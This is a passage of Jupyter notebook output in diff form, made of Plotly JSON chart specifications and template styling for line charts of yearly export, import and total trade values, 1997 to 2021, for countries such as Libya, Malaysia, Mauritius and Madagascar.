} - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 47.99, - 17.32, - 0.15, - 9.5, - 26.75, - 17.94, - 7.99, - 90.87, - 247.44, - 306.12, - 252.81, - 135.64, - 366.35, - 188.47, - 160.69, - 109.55, - 41.64, - 30.46, - 72.49, - 201.83, - 43.32, - 38.88, - 75.83, - 32.95, - 207.19 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "LIBYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 29.33, - 2.69, - 20.18, - 7.79, - 9.53, - 2.94, - 10.38, - 13.6, - 11.94, - 135.71, - 1230.67, - 684.61, - 622.64, - 969.09, - 38.33, - 1834.8, - 451.54, - 70.14, - 8.86, - 7.45, - 100.64, - 146.16, - 43.09, - 70.52, - 304.99 - ] - }, - { - "mode": "lines", - "name": "ALBANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.18, - 0, - 0.04, - 0.01, - 0, - 0.02, - 0.03, - 0.19, - 0.04, - 0.56, - 0.18, - 0.27, - 0.12, - 141.15, - 31.04, - 198.8, - 50.76, - 17.2, - 6.5, - 38.86, - 22.62, - 47.51, - 8.3, - 26.44 - ] - }, - { - "mode": "lines", - "name": "MAURITIUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.03, - 2.01, - 3.93, - 6.17, - 3.26, - 16.13, - 7.54, - 7.19, - 7.33, - 14.56, - 10.05, - 14.5, - 10.89, - 16.51, - 38.52, - 28.44, - 20.79, - 21.19, - 20.36, - 18.37, - 20.69, - 71.59, - 27.89, - 42.61, - 53.99 - ] - }, - { - "mode": "lines", - "name": "LUXEMBOURG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.73, - 1.23, - 2.54, - 5.22, - 6.72, - 19.34, - 44.4, - 9.69, - 16.1, - 31.4, - 35.45, - 24.83, - 33.85, - 36.62, - 56.02, - 48.09, - 46.16, - 41.81, - 175.72, - 46.08, - 53.24, - 131.9, - 54.35, - 30.49, - 43.03 - ] - }, - { - "mode": "lines", - "name": "MACAO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.18, - 0.12, - 0.01, - 1.46, - 12.7, - 2.43, - 0, - 0.16, - 0.2, - 0.38, - 0.25, - 0.36, - 0.2, - 0.82, - 1.5, - 2.65, - 2.3, - 8.29, - 7.91, - 8.3, - 6.29, - 5.09, - 24.52, - 17.4 - ] - }, - { - "mode": "lines", - "name": "MACEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.49, - 0.67, - 0.02, - 0.09, - 1.19, - 0.59, - 0.05, - 0.08, - 3.84, - 0.26, - 0.28, - 0.71, - 26.65, - 1.02, - 14.77, - 22.94, - 19.92, - 9.05, - 7.08, - 24.13, - 46.61, - 24.08, - 14.51, - 5.82, - 1.02 - ] - }, - { - "mode": "lines", - "name": "MADAGASCAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.47, - 2.99, - 3.38, - 0.38, - 2.2, - 3.94, - 5.05, - 7.97, - 16.36, - 19.36, - 16.61, - 18.16, - 19.03, - 32.08, - 82.75, - 72.88, - 52.84, - 95.29, - 141.74, - 119.82, - 167.67, - 293.11, - 119.24, - 80.14, - 81.84 - ] - }, - { - "mode": "lines", - "name": "MALAWI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.53, - 0.44, - 0.63, - 0.34, - 1.7, - 1.7, - 4.98, - 5.08, - 1.8, - 5.07, - 15.64, - 7.08, - 103.76, - 19.89, - 22.83, - 43.11, - 15.15, - 36.78, - 64.31, - 41.33, - 16.45, - 22.8, - 31.76, - 7.07, - 97 - ] - }, - { - "mode": "lines", - "name": "MALAYSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1178.89, - 1608.36, - 1949.41, - 1176.8, - 1133.54, - 1465.42, - 2046.55, - 2299.01, - 2415.61, - 5290.31, - 6012.9, - 7184.78, - 5176.78, - 6523.58, - 9473.64, - 9951.06, - 9229.88, - 11117.74, - 9083.83, - 8933.59, - 9011.58, - 10818.6, - 9782.28, - 8373.05, - 9014.1 - ] - }, - { - "mode": "lines", - "name": "MALDIVES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.24, - 0.05, - 0.4, - 0.19, - 0.4, - 0.33, - 0.37, - 0.61, - 1.98, - 3.05, - 4.15, - 3.97, - 3.63, - 31.38, - 18.89, - 6.29, - 3.97, - 4.32, - 4.29, - 9.17, - 5.68, - 20.41, - 6, - 24.49, - 41.93 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 87.96, - 42.42, - 31.89, - 75.15, - 69.97, - 67.15, - 62.54, - 146.82, - 310.49, - 471.72, - 321.24, - 258.85, - 444.43, - 312.63, - 392.87, - 336.04, - 253.04, - 332.87, - 273.91, - 422.04, - 270.37, - 266.13, - 314.35, - 184.83, - 488.78 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "LIBYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.99, - 26.97, - 42.52, - 15.86, - 18.88, - 20.58, - 29.12, - 187.14, - 115.23, - 221.92, - 1366.65, - 813.29, - 844.62, - 1101.08, - 99.31, - 2050.09, - 738.73, - 233.87, - 131.44, - 127.5, - 222.6, - 302.92, - 227.49, - 224.43, - 464.65 - ] - }, - { - "mode": "lines", - "name": "ALBANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.59, - 0.97, - 0, - 1.87, - 2.33, - 4.28, - 4.96, - 5.26, - 5.81, - 4.52, - 7.46, - 12.32, - 8.78, - 11.62, - 153.78, - 48.52, - 217.53, - 70.18, - 41.24, - 32.95, - 68.21, - 59.7, - 91.62, - 55.06, - 71.08 - ] - }, - { - "mode": "lines", - "name": "MAURITIUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 186.67, - 163.13, - 174.69, - 205.92, - 166.17, - 180.5, - 210.56, - 265.38, - 206.77, - 752.85, - 1098.87, - 1021.43, - 464.31, - 870.42, - 1439.03, - 1339.24, - 1020.97, - 1930.74, - 876.09, - 899.75, - 1097.84, - 1232.37, - 690.02, - 465.51, - 659.36 - ] - }, - { - "mode": "lines", - "name": "LUXEMBOURG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.93, - 5.01, - 7.9, - 10.8, - 11.19, - 28.47, - 58.59, - 21.33, - 26.77, - 48.32, - 47.14, - 36.39, - 38.63, - 55.39, - 65.11, - 56.29, - 57.9, - 51.41, - 183.79, - 57.56, - 64.63, - 161.98, - 74.7, - 43.09, - 53.98 - ] - }, - { - "mode": "lines", - "name": "MACAO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.11, - 0.9, - 1.1, - 3.09, - 16.3, - 6.5, - 2.09, - 2.62, - 1.82, - 4.88, - 5.74, - 40.94, - 1.64, - 2.29, - 2.46, - 4.27, - 4.73, - 10.26, - 9.42, - 22.19, - 7.35, - 11.37, - 33.48, - 29.13 - ] - }, - { - "mode": "lines", - "name": "MACEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.52, - 0.77, - 1.41, - 1.25, - 2.25, - 1.88, - 1.71, - 2.68, - 7.77, - 5.94, - 8.55, - 11.25, - 33.65, - 9.36, - 23.63, - 32.06, - 30.7, - 23.56, - 19.95, - 39.02, - 63.99, - 43.63, - 37.12, - 29.01, - 22.01 - ] - }, - { - "mode": "lines", - "name": "MADAGASCAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.05, - 12.92, - 12.55, - 11.17, - 15.37, - 18.58, - 44.19, - 44.09, - 59.01, - 65.14, - 73.88, - 268.22, - 104.74, - 111.41, - 206.38, - 227.3, - 291.56, - 262.48, - 338.78, - 333.51, - 395.78, - 489.49, - 420.97, - 404.36, - 309.69 - ] - }, - { - "mode": "lines", - "name": "MALAWI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.38, - 10.68, - 20.8, - 18.93, - 22.17, - 32.52, - 43.18, - 63.34, - 45.43, - 47.63, - 79.99, - 96.47, - 185.12, - 121.34, - 171.09, - 196.4, - 236.2, - 250.8, - 240.44, - 219.76, - 216.05, - 224.35, - 216.85, - 